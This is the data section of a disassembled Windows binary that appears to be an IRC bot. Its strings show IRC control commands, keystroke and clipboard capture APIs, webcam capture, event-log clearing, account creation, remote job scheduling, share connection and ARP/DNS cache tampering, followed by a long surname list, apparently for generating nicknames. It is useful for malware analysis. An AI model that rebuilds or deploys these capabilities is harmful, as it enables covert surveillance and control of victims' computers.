a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 10h
asc_42D120:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
asc_42D124:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
asc_42D128	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
unk_42DA28	db  2Dh	; -		; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
a_:					; DATA XREF: sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBB8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBE8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC18	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC3C	db  2Dh	; -		; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC84	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC88	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCF0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCFC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
